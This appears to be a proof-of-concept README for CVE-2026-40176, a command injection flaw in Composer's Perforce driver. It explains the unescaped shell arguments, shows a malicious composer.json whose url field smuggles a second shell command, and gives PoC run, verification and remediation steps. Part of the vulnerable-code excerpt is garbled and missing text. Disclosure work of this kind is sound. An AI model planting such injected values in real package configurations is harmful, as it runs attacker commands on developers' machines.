Exploit for CVE-2026-40176

## https://sploitus.com/exploit?id=6400BB3C-A312-583F-B4DB-0693EE80B29A
# CVE-2026-40176: Composer Perforce OS Command Injection PoC

## Description
This repository contains a Proof of Concept (PoC) for **CVE-2026-40176**, a critical OS Command Injection vulnerability discovered in **Composer**'s Perforce VCS driver (versions prior to 2.2.27 and 2.9.6).

The vulnerability exists in the `Perforce::generateP4Command()` method. Due to insufficient sanitization of repository configuration parameters (such as `url`, `p4user`, or `client`) when constructing shell commands, an attacker who controls a `composer.json` file can execute arbitrary commands on the victim's system when `composer install` or `composer update` is executed.

**Discovered by: saku0512** ([GitHub](https://github.com/Saku0512))

## ⚠️ Disclaimer
This project is for educational and ethical security testing purposes only.

The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.

## Vulnerability Details
- **CVE ID**: CVE-2026-40176
- **Type**: OS Command Injection (CWE-78)
- **Impact**: Remote Code Execution (RCE)
- **Affected Versions**: 
    - Composer 2.0.0 getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // Unescaped
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // Unescaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Unescaped
```

If these fields contain shell metacharacters (e.g., `;`, `&`, `|`), they are interpreted by the system shell, leading to command injection.

## Proof of Concept (Usage)

### 1. Environment Setup
Ensure you have PHP installed. This PoC simulates the vulnerable logic within Composer.

```bash
# Check PHP version
php -v
```

### 2. Configuration (Malicious composer.json)
An attacker would craft a `composer.json` like this:

```json
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}
```

### 3. Execution of PoC
Run the provided `poc.php` script, which reproduces the internal command generation and execution logic of the vulnerable Composer versions.

```bash
# Run the PoC
php poc.php
```

### 4. Verification
Verify that the command was executed successfully by checking for the existence of the file created by the payload:

```bash
ls -l /tmp/pwned_rce_confirmed
```
If the file exists, the RCE is confirmed.

## Remediation
Update Composer to the latest version immediately:

```bash
composer self-update
```
The fix involves wrapping all user-supplied arguments with `ProcessExecutor::escape()` to prevent shell interpretation.

## References
- [CVE-2026-40176 (cve.org)](https://vulners.com/cve/CVE-2026-40176)
- [Composer Security Advisory](https://github.com/composer/composer/security/advisories/GHSA-wg36-wvj6-r67p)